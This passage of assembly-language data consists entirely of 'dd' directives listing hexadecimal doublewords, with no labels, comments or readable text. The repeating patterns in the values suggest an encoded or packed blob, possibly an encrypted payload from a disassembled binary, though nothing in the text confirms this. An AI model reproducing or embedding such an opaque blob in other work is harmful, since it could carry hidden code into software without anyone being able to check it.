749ABD52h, 4C4216CDh, 0FC62D5B1h, 15668837h, 0B3478C22h dd 9269428Bh, 15661136h, 43483354h, 21ED25CBh, 0F2EF7516h dd 1562D6B3h, 0D2E78832h, 15664436h, 49421EB5h, 1560F852h dd 16048832h, 997E4DBFh, 1571A33Dh, 78F1132h, 0E7668832h dd 61365F52h, 0B43BBF8Bh, 4ACC6C1h, 4FD6988h, 75A525CBh dd 54A9F989h, 90A1707Fh, 136750F6h, 15664434h, 0E8AEA352h dd 7371B71Ch, 440747B9h, 1566448Bh, 0D48FA332h, 14462136h dd 0D4A709C3h, 9F467436h, 73067B2Bh, 0C5E7DEB9h, 34C72C37h dd 1569AD53h, 0F99E2232h, 9B4A32F5h, 7130EDF5h, 0AC4A801Ch dd 46364417h, 0E9EEE185h, 7385A869h, 14EB4B6Ah, 0E9662232h dd 1AE6EAB2h, 0EA9865B7h, 430624CDh, 7507D76Bh, 15669F3Dh dd 0CAE78832h, 5DAD229Bh, 0AC374353h, 11EE0B9Fh, 89461B3h dd 0DCE73F4Eh, 20F536C8h, 0E99CE0B3h, 0DB4F35A9h, 9E06B16Bh dd 0C4ED72EBh, 90ED706Bh, 109F95CFh, 0A4F3CFC7h, 0FC63DB2Ch dd 15661138h, 0FD78D3EDh, 0A310E7C9h, 1B8FB1B8h, 87661132h dd 0C74B51FBh, 3CE5DBCEh, 0E4534F19h, 7ED07968h, 21EF8832h dd 99691F16h, 15662234h, 42077152h, 0F9E5E96Bh, 314ACD36h dd 1566248Fh, 488D1032h, 157D0D3Dh, 92694432h, 15662227h dd 156601DBh, 61D3AC32h, 0D3951E3Eh, 0B8A43D5h, 0C38B0A49h dd 17DFD951h, 14664432h, 9E7F21C3h, 0D1E7353Eh, 15668836h dd 156ACF3Dh, 97692232h, 15661134h, 1566073Dh, 0CD5D4432h dd 157CA03Dh, 46061132h, 7D950954h, 0E6ED1FCDh, 1ABC1953h dd 0EA9810B4h, 0CBEDE8CDh, 74B1CF54h, 256D9F67h, 0D0E72590h dd 30CEA91Eh, 3C3BAF1Bh, 22A5A3C9h, 0FC3C5B63h, 15668822h dd 62E17BD1h, 0D4FF5E47h, 3A1596F9h, 2A2DD01Fh, 9C62A8B1h dd 13D9060Eh, 3C661132h, 9969D7C9h, 1566442Bh, 1575AA3Dh dd 1B8F1132h, 1B668832h, 0DAC08B46h, 0C4AE828Ah, 0C8180CD1h dd 0EC06E827h, 15664BDBh, 0A2E26232h, 48FA5402h, 7698E518h dd 0C9224400h, 0B8004353h, 1DE61ECEh, 1A668832h, 156646B3h dd 73074232h, 11E11E99h, 75668832h, 7507E581h, 66FE3889h dd 2407ED0Eh, 24A5B9EAh, 14E94BEAh, 0E0662232h, 14E61E99h dd 0ED668832h, 1CDE1467h, 0A85FC840h, 2C8C633Fh, 143E4D1Bh dd 1A0619DCh, 156629B6h, 1560F832h, 88668832h, 5DF956Ch dd 0A45B8189h, 29EF7071h, 1DE28716h, 1A664432h, 156620B4h dd 9C077132h, 1A6AAC46h, 156648B6h, 1561CB32h, 0EC3C1132h dd 5BDC141Eh, 0C8D3CDFCh, 7563DB1Bh, 15661EDBh, 2764D32h dd 0BA37BAD9h, 15BCD89Ah, 0C7F8B66Eh, 49D143B3h, 9E076F9Eh dd 9C35060Eh, 11A590D1h, 96668832h, 9E140F1h, 58F7E16h dd 0AC661132h, 5979FEA8h, 5E68420Ch, 0D93161D7h, 9EDEB0B2h dd 9C36AC2Eh, 156241D2h, 11632232h, 92661132h, 1A3AAC36h dd 156648BEh, 13EC2D32h, 1A661132h, 156688BFh, 3152BB32h dd 11A2A36Bh, 75661132h, 73A80354h, 0EA0792B9h, 96380606h dd 9F6915F6h, 15668827h, 156654DBh, 7BFDAA32h, 75BF83DBh dd 0C3FF638Ah, 0F609BE45h, 0F5EF72D1h, 15661537h, 11DFD932h dd 14664432h, 11E17BFAh, 9B694D16h, 15668833h, 2AD724C7h dd 0C841CB53h, 9069EECDh, 15668833h, 0D1E383CEh, 176023EAh dd 1A661132h, 156689B7h, 290EBC32h, 9C66225Ah, 0E4EF353Eh dd 0FC3F43BBh, 1566443Ch, 5A27D615h, 8F70D94Dh, 2649D1EFh dd 0A369AB6Ch, 0ECE6DB3Ch, 45E51EB2h, 1A668832h, 156645BDh dd 0FEE7DE32h, 20AA6A93h, 286E4BB3h, 0DE675DCAh, 286EC9B3h dd 0D6E708CAh, 20AAF393h, 1568AD52h, 0E7902232h, 0FB31D459h dd 5F3218D1h, 0BFAC9290h, 1562A33Dh, 0AC001132h, 4307EEDBh dd 1566458Ch, 4B952332h, 15F7F8CAh, 45938832h, 0A14DF361h dd 4E9A1205h, 0EBD1D5B2h, 0AF8208FEh, 0F9E680CCh, 4D870AA6h dd 15661BDBh, 3A90B432h, 28B2C324h, 5C9DE917h, 3172E663h dd 18E4876Bh, 0FC664432h, 1566223Ah, 129F46F4h, 0B3D1C221h dd 15527A5Ah, 3162AB32h, 0D137138Ah, 0D42EC824h, 0CD9142D2h dd 944BFAC5h, 34D7050Dh, 1E8FD0F3h, 0AE664432h, 2214717Ah dd 0E1038C23h, 0D6E7D83Dh, 7A440DF8h, 0AA31E91Bh, 15A2065Ch dd 7DB56FB3h, 0F2A70D96h, 6389A337h, 3CC74C8Ch, 9E9ED7C9h dd 0EC7BB9B7h, 13E72D37h, 75661132h, 1AD5E952h, 0A4F3CF53h dd 0FC63DB2Ch, 15661139h, 0A10CE52Ch, 2E0F8F11h, 96513696h dd 0EC46788Fh, 91698937h, 15664140h, 1579A83Dh, 91691132h dd 1566882Bh, 156650DBh, 4C325732h, 0D498CA22h, 5A986F0h dd 2F975103h, 62617FA1h, 1AA528C7h, 1563CDB0h, 0AC062432h dd 3EFC257h, 68F7053h, 0FB668832h, 8D0B3006h, 0C4CE2E90h dd 180A41F1h, 0C2488189h, 0C65F1B6Dh, 0EFE2A03Dh, 4606EECDh dd 7438E952h, 156355DBh, 90A1D732h, 1367C9F6h, 15668830h dd 1563AD52h, 0ABE12232h, 0FC26E94Ch, 15668826h, 0CE1CBC1Ah dd 60BBBC2Ah, 90DAE878h, 31665ABBh, 0DF48367Ah, 4F307053h dd 0FC3CC2BBh, 1566883Eh, 0B3C2B9F2h, 0C0706F74h, 0FE161D58h dd 1A683E3Dh, 156656B8h, 156BCB32h, 0F9111132h, 0CD98C8E6h dd 0AAAF0487h, 9582F189h, 966991CBh, 1566887Bh, 3F8DC5CAh dd 94779071h, 20B95F1h, 94AD8916h, 20BC0D9h, 3FA5A316h dd 7577A371h, 156684DAh, 805FFB32h, 0F4657448h, 53416B0h dd 0CAEDEEE8h, 0E4D94B6Dh, 11997153h, 317A9A16h, 15624CB3h dd 0FC9E4432h, 156622B3h, 0EAD142CBh, 9ED711Ah, 11A2C716h dd 15664ACAh, 11E71132h, 82335316h, 316A6D2Fh, 0CE420EB3h dd 4C7B8667h, 15E48752h, 9E664432h, 439F43CBh, 0D150EE8Ch dd 1680494Ch, 0C291BAB5h dd 0E3E7DCB5h, 1CB859CAh, 0FC387913h, 1566443Dh, 0CF625D09h dd 0C3916A58h, 1CA7827h, 947CB66Dh, 506C87F1h, 45AD384Bh dd 4D01BF8Ah, 4F01492Bh, 0C59132A7h, 37EC0C37h, 4DA5A1A1h dd 0E2D82252h, 0D6D92DA2h, 0E8E39A53h, 1A63712Fh, 156656B0h dd 156BCB32h, 6A3A1132h, 0FF4E598Dh, 97C3C482h, 9EC49B11h dd 0EC78A0A7h, 0AA69E837h, 1A0625ECh, 156626B5h, 0A1DE7732h dd 0C5D187AFh, 7CDBC753h, 1463DB12h, 16FE953Dh, 2E9F8832h dd 3AE44BEAh, 75662232h, 14909054h, 13EE878Fh, 94664432h dd 5EDB76D9h, 0C65F7070h, 0EDBA0E3Dh, 9969BBCDh, 1566223Ch dd 15EB1E52h, 1A668832h, 156644B4h, 0AC374332h, 0EA99EECDh dd 753F4633h, 128EB3B9h, 0B662232h, 508C46D3h, 743F403Ch dd 156643DBh, 7E679132h, 70BA45D0h, 0E8D5DB60h, 0CF665680h dd 4FB6AA69h, 156605DBh, 2BE98332h, 15B07C55h, 0F388924Ah dd 0F5710E75h, 0CFB30EEBh, 1572ADC3h, 0BA6D2232h, 66E2ADF0h dd 0C076FBC8h, 0C0E86EB6h, 0A3EA1C20h, 75CC0862h, 15669CDBh dd 1375A732h, 18E197FBh, 0FD57BC06h, 39B8C8C6h, 80E0DD09h dd 9E007303h, 46074BEDh, 11F53260h, 0FFA75B32h, 94B4D537h dd 0ED6634F0h, 4FB50132h, 1EECB733h, 0FAE64269h, 9A69704Ah dd 15668833h, 118AC5CEh, 9C662232h, 0CFD5352Eh, 0CD662E82h dd 7E94B69h, 1A662232h, 15661DB7h, 15616132h, 37494432h dd 0D3A9B688h, 0FCD142A9h, 95897FB2h, 0A136FFFDh, 1D8AA2D9h dd 9564FDF2h, 0C99022DEh, 25DC80B2h, 0D2987AD5h, 0E2E6D6CCh dd 4E9FA8A8h, 0FCAE4CCAh, 15662220h, 29BB1EA5h, 852BF8ECh dd 682B732Ch, 38C1E36Fh, 1ACC9D52h, 15669ABFh, 156BAD32h dd 9BD62232h, 6CC2DFB1h, 0B28B1A67h, 75B4163Bh, 15E42D52h dd 0FC661132h, 1566883Ch, 0AC228F22h, 3D92D2FFh, 895B605h dd 9507E77Ch, 9407FCC5h, 235F67F1h, 409D3860h, 235FCD8Fh dd 488D6D60h, 706F4AC7h, 39EF1132h, 15623516h, 0FE4F4432h dd 188F426Fh, 8E661132h, 665202Ch, 48BDC114h, 2C35E76Dh dd 33A6C988h, 0CD57E97Dh, 0CD578703h, 15EC2D52h, 75661132h dd 156683DBh, 2774C532h, 2C6E600Bh, 88D5DFAAh, 156684DBh dd 62674332h, 5B54BB8Dh, 0F1145FE4h, 1A07E976h, 156655BFh dd 156ACB32h, 95311132h, 7B636A30h, 0E9A42B01h, 1ACD375Dh dd 156600B4h, 156A6132h, 763B4432h, 78391729h, 5A7FD5D3h dd 0F9E7F675h, 15664436h, 0AC422EBBh, 15661130h, 753F4633h dd 5DD8ACB8h, 74571243h, 3CBBA4BBh, 108F8DCBh, 9A664432h dd 58D5DC0Fh, 350F94F5h, 15678DCBh, 1A064432h, 9F34DB8Dh dd 40074BCCh, 0D0E76DBBh, 15664436h, 15629C64h, 0E0671132h dd 314A0F6Ch, 1560AD6Eh, 0E9B2232h, 2C18A2Dh, 404294B9h dd 0D0E7A1BBh, 15662236h, 9262D4B1h, 753AAC1Eh, 15664BDBh dd 9A1E1732h, 0D1624077h, 7956EA0h, 956FC10Eh, 19ED43CEh dd 0F5EF4116h, 15668C37h, 11A6C732h, 494226B5h, 1575F852h dd 33EA8832h, 8A588BAh, 0BFA9EAACh, 0E3BAFE44h, 30F1FBBDh dd 0FDE7226Fh, 47071D8Bh, 0D7E7F3BBh, 15668836h, 926286B1h dd 31ED0626h, 7506E416h, 1566033Dh, 94004432h, 749EA6E1h dd 156614DAh, 0C50BC32h, 68FB44Bh, 22662232h, 54251E4Fh dd 0FA1D4A0Eh, 0BA674B39h, 588756AAh, 74398A45h, 943FDC63h dd 156640F3h, 11A7A132h, 49421DB5h, 15746052h, 0E084432h dd 0FA50A064h, 0E5B8AD2Eh, 15D56B4Dh, 0A861374Dh, 15662DDBh dd 44E55632h, 0A506A988h, 42017754h, 5A953BD2h, 13EB1E6Bh dd 1A668832h, 156644B0h, 938F4332h, 7599EEE4h, 1566053Dh dd 9A694432h, 1566223Dh, 156618DAh, 5ADD432h, 50421F8Fh dd 743828AAh, 156618DBh, 1D4F8632h, 0FBF7814h, 0AC373655h dd 15661133h, 0FC3F461Bh, 15664422h, 536554Eh, 0A188FF7Ah dd 5EAFEC35h, 37BCF0Ch, 0A734B682h, 0EBACEFD6h, 988C08F8h dd 753C9432h, 0DEED4464h, 9400476Ah, 4A75FFE8h, 0BF072453h dd 0E4EF73CEh, 19EDD9BBh, 11A20916h, 1A664432h, 156635BCh dd 9E007132h, 156A60E3h, 12EE4432h, 0D076A1CAh, 0CC7CE25Ch dd 7438E6AAh, 25A6FA64h, 0CB910A1Fh, 76889074h, 535D0669h dd 1913A2B3h, 0FBE77157h, 1FBAB8CEh, 3C38781Bh, 433F41CAh dd 449E2755h, 1566158Bh, 10A38D32h, 0DD4F1B15h, 3263E71Fh dd 9C69486Dh, 1566881Ch, 1574AC52h, 0FDD42232h, 0BC5FBA4Dh dd 2991B930h, 0FA70C38Ah, 52A3794Eh, 1569F86Dh, 90B58832h dd 143F1314h, 2F5FD8E3h, 0A0E97939h, 75CDE95Fh, 1563C83Dh dd 94002232h, 0FCFE08C5h, 15668837h, 99C9B13Bh, 0F9E54363h dd 314A9836h, 0D0E76DBBh, 15664436h, 9262E7B1h, 1A3A351Eh dd 156689BBh, 9EDBC32h, 0F0EF7716h, 1562D4B3h, 0D0E58832h dd 314AC336h, 9E9FD76Eh, 9C34353Eh, 11A409D0h, 96664432h dd 1E126F0h, 95694D16h, 1566883Eh, 156643DBh, 0A8FA8732h dd 5B4558FDh, 4042BCB9h, 0D0E7A1BBh, 15662236h, 9262D4B1h dd 753AAC1Eh, 73A5F33Dh, 74CF508Ah, 10869862h, 15668836h dd 926284B1h, 31ED0636h, 1DE81E16h, 1A668832h, 156646BDh dd 0FC074232h, 0EA99C938h, 0D1E34FCEh, 106045EAh, 75662232h dd 0EDED7763h, 74AC036Ch, 1574165Ah, 3152AB32h, 0C423DB3h dd 4E10C64Eh, 697F87B3h, 9E69547Ch, 1566113Eh, 15600C3Dh dd 95694432h, 15662232h, 157E9C3Dh, 68F8832h, 23664432h dd 39980E41h, 14850469h, 0B3645409h, 0E201D736h, 0A8336390h dd 15661136h, 39ED6333h, 11A2C716h, 0C5D12D52h, 1564903Dh dd 4A358832h, 1CBC2C53h, 19EF2232h, 1566A816h, 0E4678832h dd 753F5D31h, 0FD944CAh, 75067080h, 0E3DC7BB9h, 740F9BDCh dd 1917EBB3h, 9E076B60h, 0EC7B75B7h, 156FAD37h, 0E4442232h dd 0D06681Bh, 7543531Fh, 9F6991B8h, 15662230h, 9E074864h dd 0EC7839A7h, 7306B837h, 73781489h, 74EEB989h, 24723361h dd 56252D9Dh, 2AC3C1B3h, 0D6E74FB4h, 0A21F46CFh, 0FC3D9A1Bh dd 1566223Ah, 0D7CAC75Eh, 0FB729B9h, 183F9B1h, 1A6727CBh dd 15604DB6h, 0CD5D7132h, 1548C63Dh, 1C8F2232h, 12661132h dd 0EAA033D6h, 0C55ED584h, 9369F809h, 15661034h, 15669BDBh dd 3B125B32h, 47DEE326h, 4EC3BAD9h, 0AC78327Eh, 0D6378E25h dd 3CBB97BBh, 956914CBh, 15668833h, 0D1FBCFCAh, 0E96023EAh dd 194255B3h, 1944A646h, 19421833h, 3B129F67h, 794F1D10h dd 0E93B9816h, 1563B0DBh, 0DEE2D32h, 1A661132h, 15669ABBh dd 156BAD32h, 8B6A2232h, 123E91Bh, 0FFE8B104h, 0EACD4A14h dd 94390606h, 156615F6h, 90A17432h, 109F50D7h, 15662233h dd 156A993Dh, 128F8832h, 75664432h, 0A02D1C39h, 219957E3h dd 0D1E5D316h, 156EAD36h, 0DA4D2232h, 0C589EBC5h, 19EDF219h dd 0F0EF1116h, 1562E7B3h, 0D0E51132h, 314A0F36h, 1572AD6Eh dd 848F2232h, 0B6EC77BBh, 78DDA945h, 0C48794B7h, 0D49E17E8h dd 0EA9F9006h, 9438AC06h, 156640F6h, 9C34D732h, 11A490D0h dd 96668832h, 0EA3440F0h, 4F620646h, 494215BDh, 0C7D961C7h dd 9269BBCDh, 15662238h, 94077152h, 3D3FACE9h, 0A8E5256Dh dd 109F025Bh, 3FE21E33h, 75668837h, 156656DAh, 0DF4B2332h dd 59ACB96Dh, 8A058949h, 1F0DED92h, 0FD6517D5h, 15661126h dd 1BAD4A5Eh, 7696D684h dd 27639CCEh, 7D28BD30h, 57F3F90Ah, 3E071E68h, 0EC7BDFAFh dd 156BF837h, 0C9298832h, 685B18E4h, 0E91E4EFFh, 9E2B99CFh dd 0EC62C1BFh, 11E64B37h, 75662232h, 9407DAB9h, 566A98F3h dd 0E08FC52Bh, 14071C2Bh, 0E0A790EBh, 9407B62Bh, 566A54DBh dd 156BCB2Bh, 5E4B1132h, 4099000h, 1DE57457h, 94AA9542h dd 67308DBh, 479FA15Fh, 62716A88h, 0D7E76832h, 4460363Bh dd 0B8C0970h, 14822E1Bh, 439A78E3h, 1566148Ch, 9E97A132h dd 0D1E56006h, 53D34236h, 0B0E7753h, 19EFEE02h, 9D8FF116h dd 1A3F44DAh, 156616B0h, 14E08732h, 0E9664432h, 0AF004298h dd 2407830Ch, 24A7B9FAh, 19EE4BFAh, 1A662232h, 156617BBh dd 15EC8732h, 0BE664432h, 1561A73Dh, 9F691132h, 15668833h dd 733424CBh, 4C3A058Ch, 4307C8B9h, 0D3E76EBBh, 15664436h dd 15629F67h, 0FB671132h, 31520F6Fh, 1C8FBC6Eh, 8B662232h dd 0B52FEBB3h, 0C84D7101h, 4E4270CDh, 1562E6B3h, 91691132h dd 1566882Fh, 0E7D94B52h, 156631DBh, 775F0332h, 644DF5C9h dd 3B44B34h, 5E205E3Eh, 322A472Fh, 316A0353h, 9483CD67h dd 156626F7h, 11A39032h, 92668832h, 1A3A601Eh, 156623B2h dd 2199E932h, 0D1E5D616h, 94692436h, 15662234h, 15669D3Dh dd 9D698832h, 1566443Dh, 15662BDAh, 0FC42EE32h, 0F58C700Ah dd 743C5980h, 9483AB67h, 156615F7h, 11A30B32h, 9E4268B5h dd 90690616h, 1566113Eh, 1560063Dh, 9D694432h, 15662232h dd 0EAB218DBh, 0DCE6E8CDh, 1575AD20h, 82872232h, 799F0B21h dd 13EFF936h, 9C0283E5h, 7800D0E1h, 90A17070h, 136750F6h dd 15664430h, 9D694252h, 15661132h, 743948B2h, 15664DDBh dd 7F1A3232h, 0CDCBB41Fh, 4507E2C8h, 0D6EFB4BBh, 964226B9h dd 48F15F6h, 0D668832h, 8E39B79Bh, 0D29D9ED5h, 376FC6BAh dd 4B4A8F6h, 1A68F23Dh, 15662CBDh, 138F7132h, 71668832h dd 24D1FF11h, 9507DE20h, 966991CBh, 1566886Bh, 1574CD3Dh dd 188F2232h, 0F4661132h, 97E65F0Bh, 97DC2C82h, 2461D580h dd 6794FAB3h, 0FEE79BDAh, 582139B4h, 0D6E7E933h, 58216CB4h dd 67944BB3h, 730657DAh, 0CC0EC3B3h, 0A3DC4353h, 0D4591D1Fh dd 0F7A747D8h, 0EA8CA335h, 149F43E8h, 0FC9ED2E1h, 156644BAh dd 1297A252h, 45357753h, 72527C82h, 0D2EE2836h, 739F0A6Ah dd 14E01E69h, 0E0668832h, 3172B363h, 409F636Bh, 8463C48Fh dd 1D8B4924h, 9461A1F3h, 4A6104D7h, 51839051h, 0E20A696Bh dd 15D812E7h, 14666233h, 0FC474FC7h, 1576616Fh, 0B8E4432h dd 0D11E862Dh, 0ACB9D274h, 9CC75B14h, 0FEE7A3E4h, 6174C03h dd 0AC37DA1Bh, 4016E714h, 1593ADB3h, 0DE6763CDh, 1568F86Bh dd 0C36E8832h, 2F23DA22h, 4C5CD5BDh, 0F6D5853Ch, 89B0DB9h dd 1C8F41CBh, 8E662232h, 268ED7B8h, 55279713h, 1567CB3Dh dd 9E9E2232h, 0EC78A0A7h, 15696137h, 81594432h, 995900h dd 641A1C6Dh, 2C017D83h, 14E94B9Fh, 0ED662232h, 0EA9D3EDBh dd 157661CDh, 0ED8A4432h, 0CD71659Ch, 404AF116h, 38923B45h dd 90A1FB8Dh, 1367FAF6h, 15661130h, 9EDDEC7h, 11A2C516h dd 0FC662232h, 1566113Dh, 225F89C3h, 0BC1441CCh, 0D835C47h dd 1AA1894Ah, 93698684h, 15664433h, 0ECE6DBC7h, 4CE51EB2h dd 0E9668832h, 4FB2AFB3h, 0FEE738A5h, 20840CE7h, 0D6E74333h dd 208459E7h, 4FB2E1B3h, 73060BA5h, 0E027B48Ah, 97DF1553h dd 94607775h, 402192C3h, 4CAD8934h, 156649DBh, 7304B032h dd 0F855C5AFh, 0D771696Ch, 9C8F93A6h, 1A662232h, 15661BB8h dd 15636132h, 0D1B34432h, 0E95AEFFFh, 3CD54262h, 95CA63B2h dd 0CDEEC6C1h, 4DA70A69h, 156E953Dh, 45068832h, 0B6D82268h dd 150E4316h, 3C661132h, 19EDAC3Eh, 11A2C516h, 1A662232h dd 156610B8h, 0AF347132h, 449C121Dh, 0F7A7F0C5h, 0EAA49237h dd 2C667AB3h, 0C4478487h, 1572CB68h, 98A1132h, 24228B79h dd 0CA1624D3h, 89C4AAFEh, 6E1A1E62h, 0FEE724E3h, 5C2A2BFFh dd 0AA31E91Bh, 5C2A7EFFh, 0ED397333h, 89BC1B9h, 440627CBh dd 9E074ACBh, 0EC7839A7h, 1568AD37h, 0CE5C2232h, 0C67479EAh dd 758576DFh, 965F3110h, 350F9FB1h, 1A6714CBh, 0EA910DB6h dd 6E44BCDh, 0FC662232h, 1566113Ch, 0E0CAB7B0h, 245C5BC6h dd 0A838732Dh, 0CD5D2BBBh, 155B0A3Dh, 1D8F4432h, 0F9662232h dd 0A30D8452h, 2C14FD47h, 0A2E04BE1h, 0FC99DDDEh, 1566113Fh dd 6351294Bh, 885C0780h, 6A480372h, 1577F863h, 3A748832h dd 40F60EC0h, 87AE69C1h, 71891F90h, 421F8903h, 1566458Dh dd 4A980B32h, 28979C7h, 21EF8832h, 1A9A1D16h, 156636B3h dd 1569F832h, 72448832h, 87E49E5Eh, 230BF016h, 325B1FD2h dd 44A709DAh, 3C648407h, 44D874CBh, 3C64D107h, 1C8FD6C3h dd 39664432h, 0EC51C8EBh, 6D8F7515h, 156264B3h, 21EF4432h dd 15639C16h, 0E44F1132h, 3E0876Ch, 1A664432h, 156632BDh dd 156DF832h, 154F8832h, 0F99370E7h, 162CB560h, 118A9247h dd 0A44284BBh, 4CAECCDBh, 156BAD3Dh, 1D8F1132h, 0F9668832h dd 0A30DD152h, 0BF145747h, 24AE20C7h, 0FCAEB9F3h, 15664421h dd 73B55F81h, 0AF25239Eh, 32ABAEF9h, 0AB7BE7CAh, 0FCF3F586h dd 15661126h, 0CC6EEAA6h, 58135A2Ch, 21139D71h, 0EFDC61E7h dd 967B6EE6h, 156EAD99h, 9B8B2232h, 0B88EC124h, 0C68F21AFh dd 7599BBFDh, 15DC7053h, 94661132h, 3B3805D8h, 9494451Ch dd 3B38AFF0h, 4F649B1Ch, 1571033Dh, 78F4432h, 6C662232h dd 8E45955Eh, 0B1535609h, 395D75ACh, 28431554h, 1A8E2D3Eh dd 1566B0B6h, 0B20EBD32h, 9C662210h, 15D83506h, 9C668832h dd 0FC061AC2h, 15662226h, 47322967h, 0A7950E7Dh, 0E7FD680Ch dd 0FF31C32Ch, 4AAE1F77h, 908259B3h, 0FC076E69h, 15662357h dd 7A7879C7h, 9EF8832h, 0F9E5BC16h, 3152AB36h, 0AD36E469h dd 15668833h, 7D10EB37h, 3896236Ch, 4B0E679Dh, 0EC3E9031h dd 1563FB65h, 0EE672232h, 94422DB9h, 15668CF6h, 1DE24B32h dd 1A662232h, 156613B9h, 4407E832h, 9D35AC83h, 4E9EAAFDh dd 19E61E6Bh, 75668832h, 53ABCD88h, 0FCE7445Eh, 0FC07C9C2h dd 1566883Fh, 404444D2h, 74AF283Fh, 0C917500Ch, 90692262h dd 15664424h, 156633DBh, 0D264FE32h, 1467A1DBh, 0E7C7BE9Bh dd 33D29DCEh, 108FF512h, 0E2668832h, 825F6537h, 5704E1B3h dd 0EE4F46F3h, 57043163h, 0DE4F13F3h, 0AB30DE6Bh, 15661136h dd 21ED7B1Bh, 11A2C516h, 0E9662232h, 0D657C903h, 45065003h dd 0A5A6668Dh, 0AA69793Ah, 1ACD70CAh, 15668FBAh, 73932432h dd 74DBFB89h, 44420DB9h, 0D4E769BBh, 15664436h, 9262E3B1h dd 1A3A353Eh, 156698B5h, 156DAD32h, 8FC2232h, 3442261Dh dd 10DD3118h, 10DC161Fh, 14662232h, 31729AE4h, 15624CB3h dd 1A064432h, 156620BDh, 95077132h, 7D07E8EBh, 15664433h dd 964226B9h, 78F15F6h, 0C9668832h, 0A632D3FEh, 5CC9DA11h dd 0EC05CA71h, 4CE93449h, 3E64B3Bh, 0FC662232h, 15661123h dd 90647D98h, 5791C38Dh, 0C89CDF54h, 25943CCBh, 198F4B84h dd 31664432h, 6214B153h, 1E8DE344h, 46D53269h, 0D6E7A7BBh dd 15662236h, 9262FAB1h, 9C3AAC2Eh, 9B69603Eh, 1566223Ah dd 6BD97752h, 74AC3C5Ah, 7350BB54h, 38420EB3h, 433E7716h dd 53FC3654h, 1D808554h dd 0DAA8A354h, 0E3E7771Bh, 0E200D852h, 732822E4h, 0E544CCB3h dd 4B961054h, 156E063Dh, 73064432h, 42BEC18Bh, 0D65A7069h dd 14470C3Dh, 128F4432h, 0CD662232h, 6F66D90Bh, 0DE5AC721h dd 146BC03Dh, 9E692232h, 15661133h, 1AA4B4CAh, 156752B6h dd 0DF5AD732h, 146B953Dh, 1F8F8832h, 0FD664432h, 79371F9Ah dd 1136DA2Eh, 0EA5BEE27h, 35E24B17h, 0FC662233h, 1566113Ah dd 0A4B57E2Ah, 72A9DF35h, 156FA33Dh, 0AC061132h, 284CD0E9h dd 73079EB9h, 1A990C0Fh, 156672B7h, 0F9E57132h, 3172CD36h dd 15662088h, 9F941032h, 0A506D230h, 156BAD3Dh, 0C0EC2232h dd 1F4D9144h, 331B2495h, 7466A6EDh, 1549545Ah, 317A9832h dd 0CE909981h, 3579B7B2h, 940679EAh, 5A1405C4h, 0F4E7EE35h dd 29077809h, 0C1E22D92h, 0FC661132h, 15668822h, 446FD0FEh dd 0D0A4F32h, 0F26324ABh, 0FC976A44h, 434248B9h, 0D3E7C4BBh dd 15661136h, 15624EB3h, 21E14432h, 138F7E16h, 0D6661132h dd 0D18D1DD2h, 0C20E1139h, 4873907Ah, 640DE4B3h, 0E0E79744h dd 1FA27D8Eh, 753B7A67h, 73B7AE3Dh, 2C4642B3h, 144CAD53h dd 0AB062232h, 731FCEBCh, 9EB10252h, 240725EBh, 9E9A42FBh dd 963770C1h, 4C67AC36h, 1508ADCAh, 0EC062232h, 4607E080h dd 94040F89h, 0AB300F09h, 2EE740B1h, 9C38E21Bh, 1A06D3EBh dd 156646B4h, 0A43E7232h, 950670FAh, 0FC07BFF0h, 15664472h dd 4607DE52h, 0DD5B2C89h, 4EBF010Fh, 2196A5B3h, 0D4E77C7Bh dd 1EAA3D54h, 75F661B3h, 0FC9A6C26h, 1566222Eh, 1567993Dh dd 7D9A8832h, 15664435h, 94422EB9h, 156615F6h, 14E48732h dd 0E0664432h, 9E9E86C1h, 0EC78A0BFh, 1A9AE837h, 156645B8h dd 9007DA32h, 3FE31EFBh, 75668832h, 15EC4B52h, 1A662232h dd 156611B1h, 9E00E932h, 0A0EF25F5h, 109F3C83h, 15661DDBh dd 99D13832h, 1414694Bh, 1E96306h, 3152EE02h, 11A2096Bh dd 0E0664432h, 9E1A698Ah, 1D86D038h, 82192317h, 47B6B355h dd 3A711588h, 8BA49072h, 14476C0Eh, 38631EE2h, 75C722C5h dd 4ECAA954h, 156687DAh, 83027A32h, 5742A09Eh, 1659EEB7h dd 2C5B08EAh, 1A071BCEh, 156625B3h, 14E01E32h, 0E9668832h dd 14E64BF1h, 0E0662232h, 7350EE54h, 96428CB9h, 1C8F46F6h dd 0F662232h, 82277DD6h, 0F2C33741h, 9169870Eh, 156623A6h dd 9D3540CEh, 4E9B00F5h, 0ED3FAFBAh, 0D58F9662h, 0F9A619D6h dd 0A235EE31h, 739A74C2h, 4D850269h, 659D91CAh, 16E20C3Dh dd 90694432h, 15662223h, 15661DDBh, 0E957D132h, 0B5A72856h dd 0FA634F09h, 1A8F2DC7h, 1567C3B6h, 1569AD32h, 0CD6D2232h dd 5ECD500Ah, 782D7EB2h, 0B83CEA67h, 1A8D1EF5h, 15673EB6h dd 156E6132h, 4934432h, 66174C81h, 0D75A5B63h, 147C0C3Dh dd 299E4432h, 4E22DF9h, 75661133h, 32D03654h, 156CAD53h dd 0FC592232h, 0D12FB7C3h, 0AD33B773h, 30997954h, 1594A63Dh dd 0FC9E1132h, 15668835h, 319A3553h, 29269526h, 0C8E21EF8h dd 0FC668832h, 15664434h, 27BB7F13h, 0F65AC178h, 17820C3Dh dd 138F4432h, 0E3662232h, 0EF1A1188h, 3B5BEE34h, 7CE34BCDh dd 0ED662232h, 17D84761h, 9C668832h, 0E6671AC1h, 1A3D21B8h dd 156631B1h, 0FCE7E832h, 11568F26h, 156631DBh, 0DBA53632h dd 401058D6h, 9E18670Bh, 20762EFh, 93C75770h, 0E1D3D953h dd 0D5EAA9B2h, 0E0E624D7h, 9E8E31C2h, 0D1E7AC3Eh, 15664436h dd 1AC61ECBh, 15664EB6h, 15686132h, 0D7B54432h, 790816CAh dd 0F2488821h, 6C8A02ABh, 1562A8B3h, 29EF2232h, 10C3AE16h dd 9421C74Dh, 285E83F5h, 1081E33Eh, 553DE6B3h, 0E2E7B233h dd 58E0C9C9h, 1A39DABBh, 156610BEh, 128F7132h, 64664432h dd 44D7FFDh, 428F481Bh, 1A668832h, 156643BFh, 14E42D32h dd 0E9661132h, 0BD73DBBh, 989A41CBh, 152C11AFh, 4EA1E34h dd 0FC668832h, 1566443Eh, 990F2003h, 46FA8279h, 0FC14CD14h dd 986997CDh, 15662237h, 0EED11E52h, 1567E053h, 11ED4432h dd 11A2A116h, 156E953Dh, 9A698832h, 15664430h, 0FCA54352h dd 15661122h, 8FC97BCBh, 0B29116BEh, 26EC7401h, 20A9C8F9h dd 94830167h, 156640F7h, 118BA332h, 92661132h, 9C3AAC1Eh dd 